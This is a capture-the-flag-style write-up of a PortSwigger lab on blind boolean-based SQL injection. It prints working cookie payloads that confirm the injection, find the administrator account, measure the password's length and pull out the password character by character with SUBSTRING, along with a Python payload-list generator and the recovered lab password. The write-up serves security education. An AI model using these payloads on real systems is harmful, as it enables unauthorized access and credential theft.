🎯 Blind SQL Injection: Conditional Responses

Write-Up by Aditya Bhatt | Blind SQLi | Boolean-Based Extraction | BurpSuite

This PortSwigger lab uses a tracking cookie in a backend SQL query. The response never exposes database output — instead, it shows a Welcome back message only when the SQL condition is true. We exploit this boolean behaviour to extract the administrator’s password, character by character, and finally log in.

Lab Link

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🧪 TL;DR

• Blind SQLi via TrackingId cookie

• Presence of Welcome back = TRUE

• Absence = FALSE

• Determine:

  • If table exists
  • If admin exists
  • Password length
  • Password characters (a-z0-9)

• Final Password → Log in → Lab Solved

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🌐 Brief Intro

Unlike UNION-based SQLi, here we cannot see query results. But we can detect boolean conditions by checking if Welcome back appears.

Using this truth leak, we:

1. Verify injection
2. Confirm table and admin user
3. Binary-check password length
4. Bruteforce each character using SUBSTRING
5. Reconstruct the entire password
6. Log in as administrator

Let’s break it down with screenshots.

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🧬 Step-By-Step PoC (Screenshots Included)

1. Open the Lab and Select a Filter like Pets

Captured the request to identify cookies.

➤ Why? This gives us the baseline request so we know exactly where the TrackingId parameter is included and how the app behaves.

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2. Send the Request to Repeater (Ctrl + R)

Repeater helps us manipulate the cookie.

➤ Why? Repeater allows controlled testing of payloads and observing the presence/absence of Welcome back.

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3. Analyze the Request Structure

Here’s the real request we're testing:

➤ Why? We confirm the injection point is inside the TrackingId cookie which the backend uses in a SQL query.

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4. Test Boolean TRUE Condition

' AND '1'='1

➤ Why? This payload injects a tautology that always evaluates TRUE, so the backend returns Welcome back, confirming SQL injection works.

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5. Test Boolean FALSE Condition

' AND '1'='2

➤ Why? This condition is always FALSE, so Welcome back disappears — establishing our TRUE/FALSE detection mechanism.

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6. Verify users Table Exists

' AND (SELECT 'a' FROM users LIMIT 1)='a

➤ Why? If the table users exists, the subquery returns 'a', making the condition TRUE → Welcome back.

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7. Verify Administrator User Exists

' AND (SELECT 'a' FROM users WHERE username='administrator')='a

➤ Why? If the administrator user exists, the subquery returns 'a', and we see Welcome back, proving the user exists.

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8. Determine Password Length

' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

➤ Why? We check increasing lengths. When TRUE → password is longer. When FALSE → we've exceeded its actual length.

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9. Intruder Attack to Automate Length Detection

Sniper → Payload from 1 to 21.

Result: Welcome back stops at 20 → Password length = 20

➤ Why? Intruder automates LENGTH(password)>X checks to quickly identify the exact size.

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10. Character Bruteforce Setup (a-z0-9)

Generate payload list:

BurpSuite Professional has built-in lists having [a-z0-9].

Python script for Community Users to automatically generate the list.

import os

filename = "payload.txt"

# Create the file if it doesn't exist
if not os.path.exists(filename):
    open(filename, "w").close()

# Write a-z and 0-9 each on a new line
with open(filename, "w") as f:
    # a-z
    for c in range(ord('a'), ord('z') + 1):
        f.write(chr(c) + "\n")
    
    # 0-9
    for n in range(10):
        f.write(str(n) + "\n")

print("payload.txt generated successfully!")

➤ Why? This file is used as the Intruder payload list to test each character against the SUBSTRING query.

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11. Extract Character at Position 1

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a

Character obtained = 6

➤ Why? This tests if position 1 equals a given character. TRUE → Welcome back → we found the correct character.

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12. Repeat for All Positions (1 → 20)

Pattern:

' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a

' AND (SELECT SUBSTRING(password,20,1) FROM users WHERE username='administrator')='a

Final password reconstructed:

611d1j31f4ynt74wibio

➤ Why? Repeating the same boolean check for each index reveals all characters sequentially.

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13. Log In as Administrator

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14. Success — Lab Solved 🎉

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🧠 Key Takeaways

• Blind SQL injection relies entirely on indirect clues, not errors.

• Boolean-based attacks require:

  • Consistent TRUE/FALSE reflection
  • Repeater for manual checks
  • Intruder for automating brute-force

• SUBSTRING checks allow full password extraction.

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🔥 Final Thoughts

This lab is the perfect example of how non-verbose SQLi still leaks full credentials when an app reflects conditional behaviour. Blind SQLi mastery is essential for real-world red teaming and VAPT engagements.

Stay relentless.
— Aditya Bhatt 🔥

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